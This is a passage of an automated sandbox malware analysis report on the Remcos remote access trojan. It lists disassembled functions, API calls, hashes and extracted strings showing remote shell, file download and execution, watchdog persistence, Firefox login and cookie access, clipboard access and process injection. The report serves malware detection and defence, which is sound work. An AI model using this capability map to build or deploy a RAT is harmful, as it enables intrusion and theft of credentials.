                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: __crt_fast_encode_pointer
                      • String ID:
                      • API String ID: 3768137683-0
                      • Opcode ID: 309bc129bf2195ff1d9c64394061bd6fc65cf8cbf03cde5b7a92afcb69d4c1ae
                      • Instruction ID: bece27fcde9612dcc576c905fc453b1e46dde912844247b60aafe4dc7e802519
                      • Opcode Fuzzy Hash: 309bc129bf2195ff1d9c64394061bd6fc65cf8cbf03cde5b7a92afcb69d4c1ae
                      • Instruction Fuzzy Hash: D0118F37A007259FFB26DE18DD9095B73E5EB843E17168220ED18AB258DA32EC0196A1
                      Function 004118B2 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: c1bd85037f78227014944570c8e1386f57ec7c93b410e94521ce381e63f7069c
                      • Instruction ID: 7a76c105a712203ac593d2e3a9180375903654e9edbd33c69f6c8f8a5c58a470
                      • Opcode Fuzzy Hash: c1bd85037f78227014944570c8e1386f57ec7c93b410e94521ce381e63f7069c
                      • Instruction Fuzzy Hash: 971123B27201019FD7149B18C890FA6B76AFF51721B59425AE202CB3B2DB30EC91C694
                      Function 0043AA1B Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __alldvrm
                      • String ID:
                      • API String ID: 65215352-0
                      • Opcode ID: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                      • Instruction ID: 96d9d97d68b67d0c8e80b5665a39335b0ee5c72343be31c2f0b4d265a228e715
                      • Opcode Fuzzy Hash: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                      • Instruction Fuzzy Hash: 08012872950318BFDB24EF64C942B6E77ECEB0531DF10846FE48597240C6799D00C75A
                      Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AllocateHeap
                      • String ID:
                      • API String ID: 1279760036-0
                      • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                      • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                      • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                      • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF
                      Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                      Download Yara Rule
                      APIs
                      • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Startup
                      • String ID:
                      • API String ID: 724789610-0
                      • Opcode ID: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                      • Instruction ID: a24ce82555f98f109a53945ea9c337c8597cdca763f75144b39f195b4e3f482d
                      • Opcode Fuzzy Hash: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                      • Instruction Fuzzy Hash: 0DD0C9325586088AE620AAB4AD0B8A4775C8312615F0007AA6CA5835D2E6446A19C2AA
                      Function 004027A7 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                      Download Yara Rule
                      APIs
                      • std::_Deallocate.LIBCONCRT ref: 00402E2B
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Deallocatestd::_
                      • String ID:
                      • API String ID: 1323251999-0
                      • Opcode ID: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
                      • Instruction ID: a1ed0c2070530d0d1545540182683da5b3cb4a6c90a46b83737b9b29f97d9faa
                      • Opcode Fuzzy Hash: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
                      • Instruction Fuzzy Hash: FFB092364442007ACA026640AC86F5EB762ABA4710F14C92ABA9A281E2D6B74268A647
                      Function 00426CC8 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: send
                      • String ID:
                      • API String ID: 2809346765-0
                      • Opcode ID: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                      • Instruction ID: 80dceff54fd7c7607e374e8a405dba3f032bb15cdc3f4a53630576a73fa931ff
                      • Opcode Fuzzy Hash: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                      • Instruction Fuzzy Hash: 79B09279108202FFCB150B60CD0887A7EAAABC8381F008A2CB187411B1C636C852AB26
                      Function 00426CB1 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: recv
                      • String ID:
                      • API String ID: 1507349165-0
                      • Opcode ID: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                      • Instruction ID: 54da5cb0358175ea3eef87e0ba5f02fe09cc36e19498aa822303b7a5c5cf0de8
                      • Opcode Fuzzy Hash: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                      • Instruction Fuzzy Hash: 38B09B75108302FFC6150750CC0486A7D66DBC8351B00481C714641170C736C8519725
                      Function 00411CA3 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON
                      Download Yara Rule
                      APIs
                      • VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AllocVirtual
                      • String ID:
                      • API String ID: 4275171209-0
                      • Opcode ID: 419aedcff02c784107df6911406269fb4724b8c0c47efc41c654e3b285a5c19f
                      • Instruction ID: 079a7b638a28e99b338f4493b6ebfa8105bff269478f0661155a893ef6bf0f7e
                      • Opcode Fuzzy Hash: 419aedcff02c784107df6911406269fb4724b8c0c47efc41c654e3b285a5c19f
                      • Instruction Fuzzy Hash: 13B00872418382EBCF02DF90DD0492ABAB2BB88741F184C5CB2A14107187228428EB06

                      Non-executed Functions

                      Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                      Download Yara Rule
                      APIs
                      • SetEvent.KERNEL32(?,?), ref: 00407CB9
                      • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                      • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                        • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                        • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                        • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                        • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                        • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                        • Part of subcall function 00404AA1: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                      • GetLogicalDriveStringsA.KERNEL32 ref: 00408278
                      • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                      • DeleteFileA.KERNEL32(?), ref: 00408652
                        • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                        • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                        • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                        • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                      • Sleep.KERNEL32(000007D0), ref: 004086F8
                      • StrToIntA.SHLWAPI(00000000), ref: 0040873A
                        • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32 ref: 0041CAD7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                      • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                      • API String ID: 1067849700-181434739
                      • Opcode ID: b3a04f122a7e72759247d7c409d137c0e4fd0d504dec43fa5a1a75d6b236ec7f
                      • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                      • Opcode Fuzzy Hash: b3a04f122a7e72759247d7c409d137c0e4fd0d504dec43fa5a1a75d6b236ec7f
                      • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                      Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • __Init_thread_footer.LIBCMT ref: 004056E6
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • __Init_thread_footer.LIBCMT ref: 00405723
                      • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                      • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                      • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                      • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                      • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                      • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                      • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                      • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                      • CloseHandle.KERNEL32 ref: 00405A23
                      • CloseHandle.KERNEL32 ref: 00405A2B
                      • CloseHandle.KERNEL32 ref: 00405A3D
                      • CloseHandle.KERNEL32 ref: 00405A45
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                      • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                      • API String ID: 2994406822-18413064
                      • Opcode ID: ae4062db8c6ec1600489d8a5588b1646d1889cef4f478d0d7ca2347df77ee3c0
                      • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                      • Opcode Fuzzy Hash: ae4062db8c6ec1600489d8a5588b1646d1889cef4f478d0d7ca2347df77ee3c0
                      • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                      Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                      Download Yara Rule
                      APIs
                      • GetCurrentProcessId.KERNEL32 ref: 00412106
                        • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                        • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                        • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                      • OpenMutexA.KERNEL32 ref: 00412146
                      • CloseHandle.KERNEL32(00000000), ref: 00412155
                      • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                      • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                      • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                      • API String ID: 3018269243-13974260
                      • Opcode ID: 94cd0e690e29393e168c36f2201fa927646a70d566ab7c517b625d411d554f8e
                      • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                      • Opcode Fuzzy Hash: 94cd0e690e29393e168c36f2201fa927646a70d566ab7c517b625d411d554f8e
                      • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                      Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                      • FindClose.KERNEL32(00000000), ref: 0040BBC9
                      • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                      • FindClose.KERNEL32(00000000), ref: 0040BD12
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$CloseFile$FirstNext
                      • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                      • API String ID: 1164774033-3681987949
                      • Opcode ID: 8d7aaefdbbb17da70651c85bfc14742a28090f78922c13758640ed364e1dedc2
                      • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                      • Opcode Fuzzy Hash: 8d7aaefdbbb17da70651c85bfc14742a28090f78922c13758640ed364e1dedc2
                      • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                      Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • OpenClipboard.USER32 ref: 004168C2
                      • EmptyClipboard.USER32 ref: 004168D0
                      • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                      • GlobalLock.KERNEL32 ref: 004168F9
                      • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                      • SetClipboardData.USER32 ref: 00416938
                      • CloseClipboard.USER32 ref: 00416955
                      • OpenClipboard.USER32 ref: 0041695C
                      • GetClipboardData.USER32 ref: 0041696C
                      • GlobalLock.KERNEL32 ref: 00416975
                      • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                      • CloseClipboard.USER32 ref: 00416984
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                      • String ID: !D@
                      • API String ID: 3520204547-604454484
                      • Opcode ID: 24192145d40dd5d885ebf24f35a4dad0bb1f4ab0e0a063593ed955df835b7d6e
                      • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                      • Opcode Fuzzy Hash: 24192145d40dd5d885ebf24f35a4dad0bb1f4ab0e0a063593ed955df835b7d6e
                      • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                      Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                      • FindClose.KERNEL32(00000000), ref: 0040BDC9
                      • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                      • FindClose.KERNEL32(00000000), ref: 0040BEAF
                      • FindClose.KERNEL32(00000000), ref: 0040BED0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$Close$File$FirstNext
                      • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                      • API String ID: 3527384056-432212279
                      • Opcode ID: 8f1e00925697bb1ed9065a8a50f8051e558b025f3b3c4185e977bc1ca5524bae
                      • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                      • Opcode Fuzzy Hash: 8f1e00925697bb1ed9065a8a50f8051e558b025f3b3c4185e977bc1ca5524bae
                      • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                      Function 004132D2 Relevance: 18.2, APIs: 12, Instructions: 153fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                      • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                      • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                      • CloseHandle.KERNEL32(00000000), ref: 0041345F
                      • CloseHandle.KERNEL32(?), ref: 00413465
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                      • String ID:
                      • API String ID: 297527592-0
                      • Opcode ID: cbaf96c0539d14e3bfc579cb390cbf1a6d01f92e477562203843d299bee7c5bd
                      • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                      • Opcode Fuzzy Hash: cbaf96c0539d14e3bfc579cb390cbf1a6d01f92e477562203843d299bee7c5bd
                      • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                      Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
                      • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                      • CloseHandle.KERNEL32(00000000), ref: 0040F563
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                      • CloseHandle.KERNEL32(00000000), ref: 0040F66E
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                      • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                      • API String ID: 3756808967-1743721670
                      • Opcode ID: 9696b3c9821f35113208a8e204aa4700f224166d16ac1652e85869771ea54990
                      • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                      • Opcode Fuzzy Hash: 9696b3c9821f35113208a8e204aa4700f224166d16ac1652e85869771ea54990
                      • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                      Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: 0$1$2$3$4$5$6$7$VG
                      • API String ID: 0-1861860590
                      • Opcode ID: a0898ada7235e23996d16a558f3c20519f182ec80e29ad8a8220548995af58c0
                      • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                      • Opcode Fuzzy Hash: a0898ada7235e23996d16a558f3c20519f182ec80e29ad8a8220548995af58c0
                      • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                      Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                      Download Yara Rule
                      APIs
                      • _wcslen.LIBCMT ref: 00407521
                      • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
